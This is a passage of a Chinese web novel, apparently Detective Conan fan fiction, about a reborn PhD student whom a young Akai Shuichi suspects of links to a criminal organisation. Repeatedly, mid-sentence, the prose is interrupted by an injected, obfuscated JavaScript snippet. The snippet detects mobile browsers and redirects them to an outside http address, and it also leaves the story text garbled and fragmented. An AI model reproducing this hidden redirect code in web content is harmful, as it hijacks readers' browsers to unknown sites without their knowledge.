刘伟也很震撼，他看到赤井秀一昨晚正义而英勇地帮助警方破案，只觉得未来警局有赤井了不起。谁知赤井秀一今天就开始为生物化学着迷。一颗未来的正义之星陨落，一个无人在意的科研牛马堂堂出世。 他们都要阻止这件事情发生！ 刘伟也开始劝赤井秀一下午回家，他才十八岁，不能折在实验室里，不然他这辈子就完了。 赤井秀一在打量刘伟。 他确认了长岛京悟和组织有关联后，猜测长岛京悟的研究或许也和组织有关。因此他下定决心，必须对长岛京悟的课题有更加全方面的了解。 长岛京悟越是劝他下午不要留在实验室，他越是确定，今天下午，这个实验室要做一些机密的、甚至可能非常可怕的实验。 他们甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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长岛京悟和组织有脱不开的关系，那么刘伟也是组织的一员吗？他加入组织的目的是什么，钱吗？ 赤井秀一盯着刘伟陷入了沉思。 刘伟被看得全身起鸡皮疙瘩，推了推长岛京悟，颤抖着声音说：“前辈，他不会是想抢我的课题吧？” 18. 你的课题fine，下一秒mine 本科生是实验室的最底层，某种意义上是因为在老登的角度而言，他们是有使用时间限制的牛马。 再老的老登也都知道，为了自己的利益让一个本科生延毕是会被钉在耻辱柱上，万世戳脊梁骨的。而研究生就不一样了，他们的精神状态很松弛，但他们的自尊心和沉没成本很好地弥补了这一点。 因此，当一个老登特别喜欢自己手下的一个本科生的时候，他一定会想办法以虚构的承诺让该牛马以为自己有光明的前途，从而达到空手套白狼的效果。 这一点，被前梦导养过鱼的长岛京悟深有体会。他曾被前梦导一口一个“你现在就是我最想要收的学生”吊成翘嘴，又在“今年没有名额了，你先来做科研助理吧”的现实中输得彻底。 上辈子的长岛京悟在很狗的老登实验室干了六年，又到更狗的老登plus实验室干了三年后才猝死，堪称忍人。在现实中爬摸滚打了这么些年，他已经很清楚老登的种种手段。老登让他干三件事，他只会挑其中优先级最高的一件做，其余纯当放屁。 可刘伟不一样。他不仅是一个涉世未深的、对学术界还有滤镜的本科生，还是一个在这个国度举目无亲的、喜欢听说唱的中国留子。 高中的时候他家允许他课余时间不用回家里的中餐馆帮忙，而是在不耽误学业的情况下在学校打篮球，已经是当下可以做出的最大的让步。在来美国的飞机上，他坐在经济舱里听着《经济舱》，想起父母的叮嘱、餐馆的油烟、每一个凌晨四点家里客厅亮起的灯，心里涌起万千感慨：此去经年，他势必要勤奋苦学，将来学成归来，为家庭分忧。 为了之后考医学院，他很快在学校里找到了一个实验室的工作，并以极其刻苦耐劳的工作精神得到了老登手下最宠爱的白男学生乔瑟夫的认可及老登的赏识。他八点来十点走，顺利以本科生之姿得到了老登的最高评价：“你做一个自己的课题吧，等你做完了我们可以一起发paper，你是一作。” 为了虚无缥缈的一作文章，刘伟愈发辛勤地做实验。 但是这一刻，刘伟突然意识到：哪怕他再努力，他都只是一个拿着F1签证的外国学生。他和老板非亲非故，老板看重他只是因为他是一个好用的牛马，仅此而已。 可赤井秀一不一样，他虽然只是高中生，但他进实验室的起点是因为他是老登的“朋友的侄子”。尽管刘伟知道赤井秀一是一个有正义感的好公民，但是万一他和老登说他想要一个自己的课题，老登会不会把自己的课题直接拿给赤井秀一做呢？ 刘伟突然间感觉雪飘进双眼，让他看不清老登的谎言。 长岛京悟还在震撼地为赤井秀一的科研热情沉默着，没有理会刘伟。 刘伟又推一下长岛京悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824428|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这一次声音都带上了哭腔：“前辈，秀一不会想要抢我课题吧？” 长岛京悟：“……啊？” 赤井秀一反应过来，连忙摆手：“我没有。” 刘伟吸了吸鼻子，觉得自己有点小题大做。 长岛京悟安慰道：“多大点事，你到时候实在不行可以接我的课题继续做，我可能很快就要毕业了。” 刘伟说：“谢谢前辈。” 长岛京悟对赤井秀一说：“你有科研理想是好事，但是选专业还是要三思而后行。” 赤井秀一说：“前辈，我真的想多学一点知识，下午的实验请一定要带上我。” 长岛京悟硬着头皮说：“行吧，我们今天下午就去测蛋白功能。” 下午做实验的时候，长岛京悟感觉自己的身体已经不属于自己了。他好像游离在这个世界之外，对万事万物的感知好像很遥远。他困到快睁不开眼睛，满脑子都是造孽啊，为什么非要测这个功能啊。 似乎都从很远的地方传来赤井秀一的声音：“前辈，这个buffer为什么变蓝了啊？” 什么蓝？ 蓝是什么？ buffer是什么？ buffer变蓝了？怎么变蓝的？ 长岛京悟只觉得眼前一黑，在彻底失去意识前，他感觉到赤井秀一惊慌地接住了他。 20. buffer变蓝这种事情不要啊 赤井秀一立刻想到了一个可能性：长岛京悟是日本公安派到组织的卧底。至于为什么一个卧底的警惕性这么低，或许是因为长岛京悟有意让他得到这一部分信息，从而促进日美两方的合作。 他的心情止不住地雀跃起来。多了一个战友，他就可以获得更多的情报，距离他找到父亲——无论生死——也就更近了一步。他应当找一个合适的时机向长岛京悟确认自己知悉了他的苦心，并为自己对他的怀疑道歉。 就在他在脑子里欣喜地盘算着下一步的时候，他忽然想起了一件事。 几天前，长岛京悟在某个大实验的等待时间给两个学弟讲课题。 他拿笔在纸上画了三个圈圈：“如果蛋白A同时和蛋白B、C互作，B、C之间无相互作用。但是又知道B、C有功能联系。那么从这些条件里可以推断B、C和A的上下游关系吗？” 赤井秀一思考之后回答：“应当只可以证明A是起一个连接的作用，至于是B激活A再激活C还是另外一个方向，这个已知条件下是很难说的。” 长岛京悟说：“是的，我们干生物最忌讳的就是假定条件，因为如果一开始的idea是错的，那这个课题从这个idea开始的实验都白干了。” 赤井秀一突然间想到了长岛京悟的话，一下子平静下来。 代一下公式： 蛋白A：长岛京悟。 蛋白B：黑衣组织。 蛋白C：日本公安。 已知长岛京悟同时和黑衣组织及日本公安有联系，是否可以推断长岛京悟是日本公安派去黑衣组织的卧底呢？ ——不一定，因为把条件倒过来也成立：他也有可能是黑衣组织派往日本公安的卧底。 如果贸然行动的话，不仅得不到更多的信息，反而会暴露自己正在调查组织的事实。 现在的情报太少了。他不确定长岛京悟的手机里有什么反侦察的软件，继续阅读他的收信箱显然不是一件理智的事情。赤井秀一沉思着，决定暂时按兵不动。 安眠药带来的睡眠是让人睁不开眼睛的同时，大脑却在不受控制地活跃着。 长岛京悟感觉自己好像陷入了不见五指的深海。他的身体动不了，但他的意识很清晰，也能够理智思考。 这个时候他才惊觉自己重生到现在不过一个星期，但是他的生活早已发生了翻天覆地的变化。 一只蝴蝶在大西洋扇动翅膀，带来了另一个半球的暴雨。七天前，他的人生列车还行驶在可预见的轨道上；而现在，尽管他还没有完全消化自己身份的转变，他可以感觉到自己似乎在与危机共舞。他毫不怀疑琴酒会在任何需要杀掉他的时候对他下手，甚至于悲观地认识到他的死亡或许对于这个他即将踏足的黑暗世界来说并不值一提。白鸠制药、同窗好友的请求、跨国犯罪组织、卧底、杀手……一切好像都在往一个未知的方向极速前进，而这一切都发生在短短七天内。 他预见到自己的人生正在、或者即将进入这场暴雨。 只是有没有任何蛛丝马迹能够让他捉住那只蝴蝶呢？ 距离他上辈子的人生，最直观的偏移，就是他在下定决心离开美国的时候给白鸠制药提交的简历。这份简历使他在茫茫人海中被选中，然后得到了这个新建研究所的青睐。而这个研究所的首席科学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824430|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家是他素未谋面的同门，但是研究方向和他应当是差距甚远。 生物学的一个重要概念叫做“级联反应”（cascade），其实和蝴蝶效应很相似，都是指在一系列连续事件中，前面一种事件激发后面一种事件，并且激发的效果有层级递进的趋势。在英语里，cascade同时有“瀑布”的意思。在研究一个级联反应的时候，寻找到瀑布的源头是一个非常重要的环节。这个源头往往有两种定位方式：时间和空间；而在这两种内，时间的优先级比空间要高。因为一个发生得早的事件对后续的影响是无可估量的。 长岛京悟突然间想到，在他申请白鸠制药的职位之前，已经出现了一件和上辈子不一样的事情——那就是赤井秀一的出现。他可以肯定的是，重生前的他并没有接到带赤井秀一暑期实习的任务。也就是说，在他自己成为那只扇动翅膀的蝴蝶之前，赤井秀一的出现已经给他带来了命运的一个支线。 不过话说到赤井秀一……他睡着前，好像听见赤井秀一说了什么，某种意义上算是疲惫加上气急攻心才不省人事的…… 他想起来了。或者说，他这辈子可能都不会忘掉的。 赤井秀一说：“前辈，这个buffer怎么变蓝了？” ……buffer怎么变蓝的？赤井秀一加了什么啊能把buffer整成蓝色？当初和他讲课题的时候他不是理论知识满分吗？ 想到这个他整个人都不好了。 大脑：你累了吗？ 长岛京悟：对的。 大脑：赤井秀一把buffer配蓝了！ 长岛京悟惊悚地睁开了眼睛。 21. 谁的青春没被房产中介坑过 赤井秀一的手停在了打算薅长岛京悟头把他摇醒的瞬间。 长岛京悟警惕：“你摘完手套洗手了吗？” 赤井秀一若无其事地把手缩回来：“洗了的，前辈。我看你一直没醒，正想把你叫起来。”他指了指墙上的钟，“马上要到五点了。” 长岛京悟：“我睡了这么久啊。”他甩了甩头让自己清醒，想到自己垂死病中惊坐起的原因，急忙问：“……你配的那个buffer呢？” 赤井秀一顿住了，随即说：“我倒了。” 长岛京悟在心里嘀咕：你要是没倒，我还想研究一下你加了啥玩意进去，说不定能有科研突破。 他站起身，拉伸了一下肩背，对赤井秀一说：“我把东西放回-80就下班吧，周末我不工作。” 赤井秀一说：“好的。” 长岛京悟去打液氮把剩下的蛋白冻上。 他们收拾好书包之后一起走出了实验室，因为刘伟也走了，所以长岛京悟掏出钥匙锁门。赤井秀一就靠在墙上等他。 长岛京悟：“……咋了，你等我吗？” 赤井秀一笑道：“前辈，下午你睡着的时候，我和刘伟前辈聊天，发现我们现在住一栋公寓楼诶。” 长岛京悟问：“是吗？不过话说刘伟怎么知道我住哪？” 赤井秀一说：“昨天晚上你们一起送那个女孩回家的时候你和他说的。”他确实没有撒谎，刘伟这个人很简单，随便引导一下话题刘伟就像倒豆子一样全都说了。 长岛京悟想起来了，他确实在和刘伟道别的时候说了他住在市中心的一个学生公寓里，不过他似乎不记得自己说过这个学生公寓的名字。但是赤井秀一是将来要做警探的人，推理能力强一点也是正常的。 长岛京悟惊喜地说：“这样啊！你住哪一户呢？是短租吧？多少钱一个月？这个季节价格应当便宜点，你别被骗了。” 赤井秀一说：“我住在1503，一个月房租差不多两千刀。” 长岛京悟沉默了。 他住1502，那个鸡毛邻居就住在1503。 又想起那天晚上琴酒说“你的邻居已经什么都做不了了”，他突然有点感到毛骨悚然。 为什么邻居家突然被转租了？ 他的邻居还活着吗？ 他瞬间脑补出一个连续剧：可怜的邻居被琴酒干掉了，中介为了自己的经济利益没有宣扬，而是赶紧把这个公寓转租出去。赤井秀一正好在找一个短租公寓，应当也有些钱，没什么社会经验，顺理成章成为了被骗的对象。 赤井秀一还是个孩子！他想起他自己刚刚来这边租房子的时候被房东坑到边哭边搬家，不忍又愤怒。而且两千刀都可以租顶级公寓了，赤井秀一很显然被中介坑了。他该不该提醒赤井秀一那个房子出过事情？ 他的邻居虽然鸡毛，但是也很无辜。他又一次深切地意识到，自己即将踏足的世界有着远超过自己能够想象的黑暗。 赤井秀一没有错过长岛京悟脸上闪过的无措，他更加确定那天晚上把对方邻居敲晕的案件是组织所为，于是他的笑意更深更冷。 长岛京悟强装镇定道：“……那我们还是邻居啊。”他停了一下，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824431|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些犹豫地问：“你知道你上一个租户为啥要转租吗？” 赤井秀一不动声色地说：“不太清楚，好像是他们有紧急的事情要离开美国，所以就找转租了。” 事实是他给FBI打了报告，把这一家人送到别的州保护起来了。 长岛京悟舒了一口气，幸好琴酒没有把他们都噶了。 赤井秀一问：“怎么了吗，前辈？” 长岛京悟说：“没事，那咱们之后可以一块儿上下班呢。”如果没有赶上公交的话还可以抓人一起平摊打车费用了！ 赤井秀一求之不得：“真的可以吗？那太感谢了，前辈。” 两个人心怀鬼胎地各回各家。 长岛京悟经过了今天昏迷时的一番思考和下班路上赤井秀一的试探，只觉得从现在开始他应当更谨慎一些。于是他在网上火速下单了一个保险柜和一个新手机，以及一系列“单身独居女性简易自卫武器”。 他这个时候才发现自己一直没看手机，把手机掏出来之后发现两封邮件赫赫然显示在锁屏上，想不被人看见都难。 科研人的习惯是这样，因为可以避免为了看消息提示而摘手套的麻烦。但是现在比起手套这种小事，他觉得保住自己的秘密更重要。他立刻设置了消息不显示，又改了一个复杂的锁屏密码。 在做完这一系列工作后，他给自己做了一个生命体征维持餐。吃完饭后他定了定神，确认了一下日本时间在早上十点，拨打了公安搜查官黑田兵卫的电话。 而在他看不到的角落，他挂在门口的风衣领子下，贴着一个小巧的窃听器。 22. 觉醒吧，我的老登之力 黑田兵卫接通的速度很快。 长岛京悟说：“你好，这里是长岛京悟。” 黑田兵卫说：“请等我一下。”那边传来“不好意思，我很快回来”的道歉声，然后是匆匆的脚步声，很快长岛京悟就听到黑田兵卫对着电话压低的声音：“长岛君，初次见面。” 长岛京悟：“初次见面，黑田君。” 黑田兵卫说：“长岛君，我是公安部的代表。我们从异能特务科坂口君手上接手了你的档案，今后将由我成为你的联络和协助人。” 长岛京悟：“……等下，什么是异能特务科？” 黑田兵卫解释道：“你可以理解为专门处理和异能力相关的公安机关。既然坂口君是你之前的联络人，我想确认一下，长岛君你有异能力吗？” 长岛京悟：“……呃，没有吧。” 一个牛马是不配有这种酷炫的少年漫能力的。不过听他的意思好像安吾是有的——所以有异能力的人也会去当凌晨两点还在处理工作的牛马吗？ 这是什么“比你有天赋的人比你还要努力”的地狱笑话。 他突然感觉到自己的人生好像也没那么糟。光是想象一个酷炫的异能力者还在苦逼地工作，就感觉这异能力好像不要也罢。 黑田兵卫说：“好的，我了解了。长岛君，今天是我们第一次联系，主要内容是和你接上头，再和你做一些情报上的确认。” “首先，”黑田兵卫说，“坂口君这里传来的信息是你见到了琴酒。” 长岛京悟说：“是的，他是一个穿着黑色衣服、留着银色长发的男人，不过从声音听上去年纪应该不大。” 黑田兵卫那边传来打字的声响：“……好的。然后他打电话给了一个女性，代号为马蒂尼，兼任白鸠制药HR和狙击手。” 长岛京悟肯定道：“是的。”他想了想，补充道，“我忘了有没有和安吾说，马蒂尼最后告诉我她的工位在白鸠制药二楼人力资源办公室二号桌。” 对面的打字声响急促起来。过了一会儿，黑田兵卫继续：“琴酒提出让马蒂尼帮助你从现在的实验室离职。” 长岛京悟说：“……呃，是的。他们想杀了我老板，但是我阻止了。我跟他们说让他们先等我消息。” 黑田兵卫说：“是的，那就没错了。长岛君，很感谢你给我们提供的这个机会。我们这边讨论决定让你告诉他们你改主意了，还是打算请他们替你杀掉老板。” …… 长岛京悟觉得自己的脑子转起来都带着吱呀吱呀的锈声：“……啊？” 黑田兵卫解释道：“是这样的，我们会派人保护你老板，不会让他真的死了的，只是让他短暂地消失一段时间，之后可以回归正常的生活，只是可能不能够太抛头露面罢了。” 长岛京悟：“……啊？”那是不是还不如让他死了啊？ 黑田兵卫说：“我们有可靠的消息证明，你的老板已经被组织盯上了。如果不是你申请杀掉他，他也很可能在今后的几个月被暗杀。具体原因我们不大清楚，但是我们确认他大概率做了什么触犯了组织利益的事情。” ……老登都老登到这个地步了吗，难道他老登到犯罪组织头上了吗。 长岛京悟艰难地问：“那我开口让组织杀掉他，我又能得到什么呢？” 黑田兵卫回答：“他们大概率会留下你同谋的证据，用作之后胁迫你的手段。如果你现在不能够给他们提供这个把柄，他们很有可能会对你的家人下手。现在立刻让你的家人改变身份一定会打草惊蛇，我们认为这是最有效率的方法。” 长岛京悟恍然：“原来如此，这是将计就计。” 黑田兵卫严肃道：“具体的计划是，我们会尽快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824432|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派人来到美国和你的老板交涉，将他保护起来。与此同时，你向组织申请暗杀老板。当组织派杀手过来的时候，我们需要你接近他，得到他的外貌特征，并把这个消息传递给我们。我们会尽可能地活捉他，然后把他押送回国。” 长岛京悟说：“好的。” 黑田兵卫又嘱咐了他几句，大致上是让他小心行事、并且已经有便衣在暗中保护他的家人。最后他告诉长岛京悟让他留意一下快递，他们会给他送一些用来防身的物资，以及一个未来用于联络的新的电话卡。长岛京悟都应了后，黑田兵卫就挂了电话。 长岛京悟沉默了一会儿，才从“我老板作恶多端，被组织盯上，居然真的要（假）死了”的震惊中缓过来。 他第一反应是：那实验室怎么办呢？老登死不足惜，但他的师弟们倒是罪不至此。 老板死了的话，按照系里的惯例，实验室老成员会让尽快毕业，年轻的学生会被转到另一个实验室重新开始课题。他算资历比较老的，所以确定自己可以一波毕业。实验室还有被老登宠爱的乔瑟夫，刚刚博四，卡在新和老之间，不过系里往年也不乏四年毕业的天才，所以大概率也能毕业。 除了他们两个博士生，剩下的人就只有刘伟和不知道吃了什么药、一夜之间突然无比热爱科研的赤井秀一了。 刘伟是一个好后辈，而且已经失足进了科研坑，所以他会去系里找关系让他转到一个不把人当牛马的实验室。至于赤井秀一，长岛京悟咬牙切齿地想，要尽力浇灭他的学术热情，不能看着他在牛马的路上一去不复返。 浇灭学术热情最容易的途径就是让他认清楚学术界不把人当人的事实。 想到这里，他拿起刚刚放回桌子上的手机，给赤井秀一发消息：“我马上发给你十篇文献，你读完之后周一做一个文献汇报，不能少于20张ppt。” 23. 前辈开门，我是蜂蜜陷阱 赤井秀一的窃听器放在长岛京悟风衣的领子下面，长岛京悟的风衣挂在了进门右手边的架子上，长岛京悟打电话的位置恰好在房间距离门最远的一个角落。一系列巧合造就的结果是，赤井秀一只能断断续续地听见长岛京悟和电话对面的人交谈的只言片语。 哪怕赤井秀一全神贯注地试图分辨出传来的每一个音节，他也只能听到如下的对话： “……异能特务课？” “银色长发的男人……” “二楼人力资源办公室……” “他们等我消息……” “让组织杀掉他。” 长岛京悟果然是一个危险的犯罪分子啊！ 赤井秀一毫不怀疑刚才在隔壁开的是一次刺杀任务会议。而且听长岛京悟的语气，他大概率不会是最后的执行人，更像是某种情报人员。那么最后动手的人会是谁呢？高大威猛的刘伟吗？ 如果能知道他们的刺杀对象，就能早做部署，将他们一网打尽，还能从这些人口中获得价值无可估量的情报。 赤井秀一在纸上画了一个圈：“刺杀对象”。 圈的四周有几个框，是他听到的线索：“异能特务课”、“银色长发的男人”、“二楼人力资源办公室”。 这三条线索里，最容易缩小范围的是第一个“异能特务科”。听上去像是一个日本的机关，但是他刚刚在网上查了一下，没有看到官网上有任何相关的资料。 ……所以是机密机关吗？ 组织的人盯上这个机关的原因又是什么？ 赤井秀一给FBI的情报部发邮件：“请帮我调出有关日本‘异能特务科’的资料。” 他突然看见自己的手机震动了一下，解锁后发现长岛京悟给自己发了条消息。 看完消息的赤井秀一沉默了，然后发出了和每一个看到老板无理要求的打工人一样的质问： 不是，他是不是有病？ 他在刚刚写好的邮件后另起一行：“另外读一下这十篇文献，然后帮我做一个文献报告的ppt，最后写一下讲ppt的逐字稿。记得在周天晚上前给我。” 。 第二天是周六，长岛京悟难得安稳地睡了一个懒觉。 他醒来后赖在床上玩手机，突然想起来还没有处理昨天收到的马蒂尼的消息：马蒂尼让他通过一下自己的好友申请。 他忐忑地登陆了几个常用的社交平台，却都没有找到她口中的好友 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他打开门，看见赤井秀一举着一个盘子，上面是几个看上去能吃的三明治。赤井秀一朝他扬起了一个阳光的微笑：“前辈，我午饭做多了，想问问你吃没吃，没吃的话送给你吧。” 24. 你没有自己的弟弟吗？ 长岛京悟不知道什么是蜂蜜陷阱，他满脑子都是天下真的有免费的午餐，这赤井秀一可太好了。他连忙接过盘子：“你看看你，怎么这么客气。” 赤井秀一不好意思地说：“前辈，我其实算是有求于你。我昨天才刚刚搬过来，还没来得及装Wi-Fi。我能来你的公寓蹬会儿网吗？” 长岛京悟说：“当然可以。快进来吧。” 赤井秀一如愿进了长岛京悟的公寓。他首先找了一下自己放了窃听器的长岛京悟的风衣，发现就挂在门边，怪不得昨天晚上听不清楚长岛京悟打电话的内容。 长岛京悟饿坏了，着急吃饭，便说：“秀一，你把这里当你自己家，随便坐随便看哈。” 赤井秀一得了意外之喜，赶紧说：“前辈你先吃吧，不用管我的。” 。 他打量起长岛京悟的公寓。这是一个一室一厅的房子，装修和他自己现在住的那间相似，好听点说叫做“侘寂风”，难听点说就是老破小。长岛京悟看上去并没有很在意自己住的地方，除了公寓自带的家具，只自己添了一张可升降书桌和一个已经挂满了衣服的跑步机。整间公寓看上去很无害，就如同任何一个普通的清澈而愚蠢的博士生一样。 他循着经验快速地扫过每一个角落，没有看到保险柜也没有看到可能藏暗格的地方。甚至于他没有看到任何可以用作武器的东西。再加上刚刚长岛京悟不经任何思考地就让他进了门，他得出结论：长岛京悟不论立场如何，显然看上去没有太多卧底应有的警惕性。 他又看到长岛京悟没有任何防备地狼吞虎咽着他带来的三明治，内心涌上一阵诡异的迷惑：这三明治这么好吃吗？长岛京悟真是饿了。 。 赤井秀一改变策略，开始在房子里寻找和长岛京悟背景相关的线索。他在书桌上看到了一张全家福，上面是笑得开心的长岛京悟、看上去像是他父母的两位年长者，还有一个不到人膝盖高的小男孩。他记得长岛京悟的资料上写着他有一个小他二十多岁的弟弟，应当就是这个小孩。这是一个绝好的机会，可以试探对方是否有伪造的家庭背景。 于是赤井秀一装作不经意地问：“前辈是独生子吗？” 长岛京悟从和三明治的搏斗中抬起头，发现他看见了那张照片：“你看到了啊，我不是，我有个小我蛮多的弟弟哦。” 赤井秀一说：“这样啊，看上去真的蛮小的。前辈当时得知有一个这么小的弟弟的时候有困扰吗？” 长岛京悟想了想：“我没什么感觉，我当时刚刚上博三，老登不给我放假，所以其实没见过我弟弟几面。”他笑着补充道：“虽然是这样，我弟弟超可爱的！或者说小孩子都很可爱吧。感觉全身都是生命力。” 赤井秀一不知想到了什么，附和道：“是的呢，小孩子都很有生命力啊。”他语调一转，“前辈这张照片是最近照的吗？” 长岛京悟愣了一下。重生回来，这张照片背后的故事对他来说已经有些遥远了。他想了想才回忆起自己的确在半年前趁着老登去参加会议的时候回了趟日本看望亲人，于是回答道：“是半年前照的，我当时难得有一个机会回去看一下家人。小孩子长得真的好快呢，”他笑着比划一下，“上一次见面才那么小， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824434|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在居然长这么大了。” 赤井秀一也不自觉笑起来。他趁热打铁地问：“前辈的弟弟叫什么名字呢？” 长岛京悟说：“他叫长岛茂雄。” 赤井秀一回想起资料上写的“兄弟，长岛茂雄（3岁）”，越发感到迷茫。长岛京悟并没有对他隐瞒任何自己的家庭背景，而他也可以看出来，长岛京悟是真实地、发自内心地因为想到了自己的弟弟而喜爱地笑着。 一个和家人关系融洽的卧底，为什么不把自己幸福的家庭保护起来？ 长岛京悟为什么要带着这个缺点在黑夜里行走？ 他觉得自己越来越看不清这个前辈了。 长岛京悟不知道赤井秀一在想什么，他随口问：“秀一你呢，有兄弟姐妹吗？” 赤井秀一说：“没有呢，前辈。我是家里的独生子，一直很羡慕有弟弟妹妹的人。” 长岛京悟感觉赤井秀一的语气里有些失落，安慰道：“没事的，弟弟有时候也挺烦的。我弟弟特别喜欢棒球，上次我回家的时候非要和我一起玩，我这把老骨头居然被他用球从头砸到尾。” 赤井秀一笑了，说：“前辈如果想要锻炼身体的话，可以叫我一起哦。我很擅长截拳道，可以教你几招回去揍他。” 长岛京悟眼睛一亮：“真的吗？那太好了！” 赤井秀一心道：倒也不必这么兄友弟恭。 。 最后赤井秀一和长岛京悟约定了练习截拳道的时间后就回到了自己的公寓。 他打开电脑查看邮箱，发现FBI的情报人员已经把他需要的资料发了过来。 25. 等待两小时，通话五分钟 哪怕是FBI，对于异能特务课的信息收集也十分有限。情报部传来的资料只有两页，赤井秀一一目十行地扫过： 【异能特务课是日本的官方异能力者组织，主要职责是监管活跃在日本境内的异能力者，以维护社会的稳定。 异能力是一种极其罕见的、不能用常理解释的、与生俱来的天赋，范围可以从简单的开锁到控制重力，由于异能力的不同，异能力者的危险程度也不同。】 赤井秀一并不是第一天知道某些人有着令人羡艳的天赋，他也曾为自己不被一份炫酷的天资选中而有过一小段蓝色的少年时光。但是他是一个聪明又不服输的人，所以除了一些少年时中二的遗憾，他并不觉得自己失去了什么，也不会为此有更多的心情起伏。 他继续往下看： 【异能特务科的主体位于日本横滨，工作人员也多为异能力与情报搜集相关的异能力者。】 鼠标在这里微微一顿——他记得长岛京悟就来自横滨。 接下来是一些更笼统的介绍，甚至感觉有点像在凑字数。他隐约有种这个文档的创建者有可能并没有写两页报告的情报，但是为了生活选择了把几句话能够讲明白的东西稀释到了几千字…… 文档的末尾写着： 【异能特务课存储着几乎全世界已经暴露的异能者的信息。】 赤井秀一开始翻自己的笔记——“暗杀对象”旁的线索是“异能特务课”、“银色长发的男人”、“二楼人力资源办公室”。 他突然想到：难道组织对异能特务科感兴趣的原因是为了找到这个银色长发的男人吗？ 。 赤井秀一知道FBI有权限访问一个神秘的资料库。在他完成冬令营的考核后，他的引导前辈神神秘秘地给了他一张卡片，上面只写着一串数字。 赤井秀一问：“这是谁的电话？” 前辈说：“这是一个数据库，是只有在做最危险的任务的特工才有资格访问。这个数据库里有美国在全世界搜集的危害世界安全的人的名单，和他们的一些信息。” ……听上去真的很美国。赤井秀一点头。 前辈嘱咐道：“只有在其他资料完全查不到的情况下才能联系他们。如果他们觉得你自己不够努力的话会取消你的权限的。” 赤井秀一沉默，只觉得查个资料还要找一下自己的原因，这个世界真的没救了。 。 赤井秀一打通了那个电话。 “赤井探员。”对方的声音像是被加工过，“请问有什么可以帮到您的吗？” 赤井秀一开门见山地问：“目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824435|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前这个数据库里已知的异能者，有没有一个银色长发的男人？” 那边传来打字的声音：“请稍等。”然后他听见机械女声：“您的请求正在处理中，请不要挂机，耐心等待。” 手机里传来悠扬的等待音乐。赤井秀一认命地开了免提，开始读文献。 二十分钟后音乐还在继续。赤井秀一不耐烦地对着手机骂了一句脏话，然后说：“快点。” “……您好，赤井探员。”等待音乐马上转成了人声，听上去十分无奈，“正在查询中，请耐心等待。” 然后又响起了悠扬的等待音乐。 ……一个小时后音乐再一次转回了人声：“赤井探员，请问你还在线吗？” 赤井秀一说：“在。” 